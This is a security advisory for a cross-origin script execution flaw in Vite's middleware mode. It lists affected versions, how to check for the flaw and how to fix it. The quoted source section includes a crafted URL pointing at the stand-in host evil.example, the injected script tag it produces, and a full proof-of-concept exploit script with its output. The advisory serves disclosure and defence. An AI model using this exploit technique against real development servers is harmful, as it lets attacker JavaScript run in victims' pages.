---
id: "CVE-2026-112945"
kind: "vulnerability"
aliases: ["CVE-2026-112945", "GHSA-9jrq-w75r-8gcw"]
title: "Vite: Cross origin script execution through Vite custom middleware"
severity: "low"
cvss: 2.1
epss: 0.004670000169426203
exploited: false
status: "open"
category: "package"
products: [{"name": "vite", "fixed": ["8.3.3"], "affected": ">= 8.3.0, <= 8.3.2", "ecosystem": "npm"}, {"name": "vite", "fixed": ["8.2.4"], "affected": ">= 8.2.0, <= 8.2.3", "ecosystem": "npm"}, {"name": "vite", "fixed": ["8.1.6"], "affected": ">= 8.0.0, <= 8.1.5", "ecosystem": "npm"}, {"name": "vite", "fixed": ["7.3.7"], "affected": ">= 7.0.0, <= 7.3.6", "ecosystem": "npm"}, {"name": "vite", "fixed": ["6.4.4"], "affected": "<= 6.4.3", "ecosystem": "npm"}, {"name": "vite-plus", "fixed": ["1.1.0"], "affected": "<= 1.0.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["cwe-80", "dev-server", "middleware-mode", "npm", "package", "vite"]
not_affected_if: ["apptype-spa-or-mpa", "no-inline-module-script", "no-middleware-mode", "no-sensitive-page-state"]
published_at: "2026-10-20T16:17:05+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-9jrq-w75r-8gcw", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112945", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# Vite: Cross origin script execution through Vite custom middleware

Vite's transformIndexHtml, when called with an unchanged browser request URL in middleware mode or appType custom, can be tricked into emitting a script tag pointing at an attacker-controlled host. A malicious site visiting the dev server can then get attacker JavaScript to run in the Vite page, which matters only if the page's inline module script stores sensitive values or allows critical actions.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:vite affected >= 8.3.0, <= 8.3.2 fixed 8.3.3
- npm:vite affected >= 8.2.0, <= 8.2.3 fixed 8.2.4
- npm:vite affected >= 8.0.0, <= 8.1.5 fixed 8.1.6
- npm:vite affected >= 7.0.0, <= 7.3.6 fixed 7.3.7
- npm:vite affected <= 6.4.3 fixed 6.4.4
- npm:vite-plus affected <= 1.0.0 fixed 1.1.0

## How to check

Check whether the project runs Vite with server.middlewareMode true or appType 'custom' and passes req.originalUrl to vite.transformIndexHtml.
Run npm ls vite (and npm ls vite-plus) to see the installed version.
If the dev server is only used through the default spa or mpa appType, it is not affected per the advisory.

## Fix

Upgrade vite to 8.3.3, 8.2.4, 8.1.6, 7.3.7 or 6.4.4 depending on the release line, or vite-plus to 1.1.0.
Until upgraded, stop passing the raw request URL to transformIndexHtml; pass a normalized path instead.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-9jrq-w75r-8gcw
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112945

## From the sources

### Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

### Impact

Only apps that match the following conditions are affected:

- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.
- the transformed HTML contains an inline module script
- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

### Details

[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

```js
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
```

For a development server at `http://localhost:5173`, an attacker can send this URL:

```text
http://localhost:5173//evil.example/payload.js?/../../package.json
```

In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.

Chromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.

[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:

```html
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
```

The generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

### PoC

```js
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}
```

Observed output on Vite 8.2.1:
```text
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
```

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
